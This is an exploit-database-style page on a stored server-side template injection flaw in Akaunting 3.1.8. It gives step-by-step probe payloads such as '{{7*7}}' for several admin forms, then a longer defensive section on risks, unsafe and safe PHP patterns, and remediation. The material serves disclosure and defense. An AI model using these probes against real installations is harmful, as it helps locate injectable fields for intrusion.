Akaunting 3.1.8 - Server-Side Template Injection (SSTI)

Exploit Author: tmrswrr Analysis Author: www.bubbleslearn.ir Category: WebApps Language: PHP Published Date: 2024-06-01
# Exploit Title: Akaunting 3.1.8 - Server-Side Template Injection (SSTI)
# Exploit Author: tmrswrr
# Date: 30/05/2024
# Vendor: https://akaunting.com/forum
# Software Link: https://akaunting.com/apps/crm
# Vulnerable Version(s): 3.1.8
# Tested : https://www.softaculous.com/apps/erp/Akaunting


1 ) Login with admin cred and go to : Items > New Item
    https://127.0.0.1/Akaunting/1/common/items
2 ) Write SSTI payload : {{7*7}}  Name field , write Sale and Purchase Price random numbers
3 ) Save it 
4 ) You will be see result : 
    49
    

====================================================================================

1 ) Login with admin cred and go to :Settings > Taxes > New Tax
    https://127.0.0.1/Akaunting/1/settings/taxes/1/edit
2 ) Write SSTI payload : {{7*7}}  Name field , write Sale and Purchase Price random numbers
3 ) Save it 
4 ) You will be see result : 
    49
    > {{'a'.toUpperCase()}}
    > A
    > {{'a'.concat('b')}}
    > ab
====================================================================================


1 ) Login with admin cred and go to : Banking > Transactions > New Income
https://127.0.0.1/Akaunting/1/banking/transactions/create?type=income
2 ) Write SSTI payload : {{7*7}}  Description field
3 ) Save it 
4 ) You will be see result : 
    49
    > {{'a'.toUpperCase()}}
    > A
    > {{'a'.concat('b')}}
    > ab
    
=======================================================================================

1 ) Login with admin cred
https://127.0.0.1/Akaunting/1/purchases/vendors/1/edit
2 ) Write SSTI payload : {{7*7}}  Name field
3 ) Save it 
4 ) You will be see result : 
    49
    > {{'a'.toUpperCase()}}
    > A
    > {{'a'.concat('b')}}
    > ab


Akaunting 3.1.8 — Server‑Side Template Injection (SSTI): Overview, Risks, and Remediation

Akaunting is a PHP-based accounting application built on common web frameworks. In some deployments (e.g., versions around 3.1.8), certain text fields that are stored and later rendered in templates were discovered to be processed in a way that allows template expressions to be evaluated on the server. This class of weakness is known as Server‑Side Template Injection (SSTI). SSTI occurs when untrusted input is interpreted by a server-side template engine, enabling attackers to inject and evaluate template expressions with potentially severe impact.

What is Server‑Side Template Injection (SSTI)?

SSTI happens when user-supplied content is passed to a template engine and evaluated as part of a template. Template engines (Blade, Twig, Jinja2, etc.) allow expression syntax for variable interpolation and logic. If an application renders user input as a template rather than as plain text, that input may be able to execute functions, access internal variables, or perform arbitrary code execution depending on the engine and environment.

Why SSTI is dangerous

  • Remote code execution (RCE) is possible if the template engine provides access to system APIs.
  • Data disclosure: templates may access application state, configuration or secrets.
  • Privilege escalation: templates executed as the web process may read/write files or invoke system commands.
  • Persistent (stored) SSTI: malicious template expressions saved in the database are served to many users, making the impact larger.

How SSTI typically appears in web apps like Akaunting

Common patterns that lead to SSTI include:

  • Saving user input in a database and later using a template engine to render that stored input verbatim.
  • Passing untrusted strings into APIs that perform runtime template rendering (for example, Blade::render, Twig::createTemplate, or equivalents).
  • Allowing markup or expression delimiters ({{ }}, {% %}, etc.) in user fields without escaping before rendering.

Safe and unsafe coding patterns (conceptual examples)

Below are conceptual PHP/Laravel examples to illustrate unsafe vs. safer approaches. These are educational examples — do not use insecure patterns in production.

// Unsafe pattern (conceptual)
// Taking a user-supplied string and rendering it as a template:
$userContent = $request->input('description');     // untrusted
$output = Blade::render($userContent, ['app' => $appData]);
echo $output;

Explanation: This example passes raw, untrusted user content to the Blade template renderer. If the user content contains Blade expressions or directives, those will be processed and evaluated by the server. That opens the door to SSTI and possibly code execution.

// Safer pattern: escape on output
$userContent = $request->input('description');     // untrusted
echo e($userContent);  // escapes HTML and template delimiters

Explanation: Escaping the content before output treats the user-provided text as data, not template code. In Laravel, e() or the normal double-curly braces {{ $var }} will escape output by default; avoid methods that intentionally evaluate templates based on user input.

// Defensive pattern: whitelist and controlled rendering
$allowedTags = '/[^a-zA-Z0-9 .,_-]/'; // simple example — refine for your context
$clean = preg_replace($allowedTags, '', $request->input('name'));
echo htmlspecialchars($clean, ENT_QUOTES, 'UTF-8');

Explanation: This shows input validation and escaping. Use a well‑designed whitelist (or strict schema validation) appropriate for the field. Note: simple regexes are not always sufficient for complex inputs; prefer robust libraries and tests.

Detection and assessment (ethical guidance)

  • Only test systems you own or have explicit permission to test. Unauthorized testing is illegal and unethical.
  • Look for places where user-controlled fields are displayed in templates, especially if fields are stored and later rendered for multiple users.
  • Use non‑destructive probes and safe indicators for testing — for example, markers that do not execute system commands but demonstrate whether expressions are evaluated.
  • Perform code reviews focusing on calls to template renderers (e.g., Blade::render, view()->make with dynamic templates, Twig\Environment::createTemplate) and identify where strings come from.
  • Use static and dynamic application security testing (SAST/DAST) tools and dependency scanners to find risky patterns and outdated components.

Remediation and mitigation strategies

  • Apply vendor patches and updates: upgrade to the fixed version of Akaunting (or the updated components) as provided by the vendor. Prioritize updates on production systems.
  • Stop rendering user input as templates: do not pass user-supplied strings into template engines. Render them as data (escaped) instead.
  • Escape output: ensure all user content is HTML‑escaped or appropriately encoded for the context where it is used.
  • Input validation and sanitization: enforce strict validation rules for fields (length, allowed characters, types) and sanitize inputs where appropriate.
  • Disable debug and dev features in production: debugging modes can leak information and provide additional vectors for code execution.
  • Reduce attack surface: avoid storing content that needs template processing. If templates must be customizable, restrict who can edit templates and use a safe templating system or sandbox that prohibits access to unsafe globals and functions.
  • Least privilege: run processes with minimal permissions and isolate application components to limit effects of successful exploitation.
  • Web Application Firewall (WAF): consider temporary WAF rules to block suspicious template delimiters in input while applying a permanent fix. WAF is a mitigation, not a substitute for fixing the root cause.
  • Audit logs and monitoring: look for unusual template evaluation, unexpected errors, or application behavior that might indicate exploitation.

Operational recommendations for Akaunting administrators

  • Immediately review release notes from the vendor and apply official security updates.
  • Restrict access to administrative interfaces; enforce strong authentication and role separation.
  • Check stored user-editable fields (items, taxes, descriptions, vendor names, transaction notes) and sanitize or remove suspicious content. Treat these fields as potentially untrusted.
  • Back up data before making large changes, and test patches in staging environments before rolling out.
  • Coordinate disclosure: if you discover a vulnerability, follow responsible disclosure practices and notify the vendor so they can provide patches.

Testing checklist for defenders (non‑destructive)

  • Inventory fields that accept free text and are later rendered in views.
  • Search codebase for dynamic template invocation patterns and for occurrences of unescaped output.
  • Use intrusion detection and logs to search for unusual patterns such as template delimiter characters in user fields.
  • Perform a controlled code review and static analysis focused on template engine usage and string sources.
  • After patching, validate that previously vulnerable fields render plain text and do not evaluate expressions.

Example mitigation checklist for developers

Area Action
Template usage Avoid runtime rendering of untrusted strings. Use templates that are static files, not dynamic content from users.
Output handling Escape user content according to context (HTML, JS, URL) before output.
Validation Enforce strict input validation rules and sanitize stored data.
Permissions Limit who can edit content that could be interpreted as a template.
Patch management Keep vendor packages and framework dependencies up to date.

Responsible disclosure and follow‑up

If you are an administrator or developer and identify this issue in your environment:

  • Apply vendor patches immediately when available.
  • Remove or sanitize any stored content that might contain template expressions.
  • Notify affected stakeholders and review logs for anomalous activity.
  • Document the fix and update secure coding guidelines to prevent recurrence.

Further reading and tools

  • OWASP Server Side Template Injection: conceptual guidance and examples.
  • Framework documentation for safe output handling (e.g., Laravel’s escaping and blade templating docs).
  • SAST/DAST tools and dependency scanners to find risky patterns and outdated packages.
  • Vendor advisories and changelogs for the specific application and its dependencies.

Final note: SSTI is a critical class of vulnerability when user input flows into a template engine. The best defense is design — never evaluate untrusted data as code. Combine secure coding, input validation, output escaping, least privilege, and timely patching to reduce risk.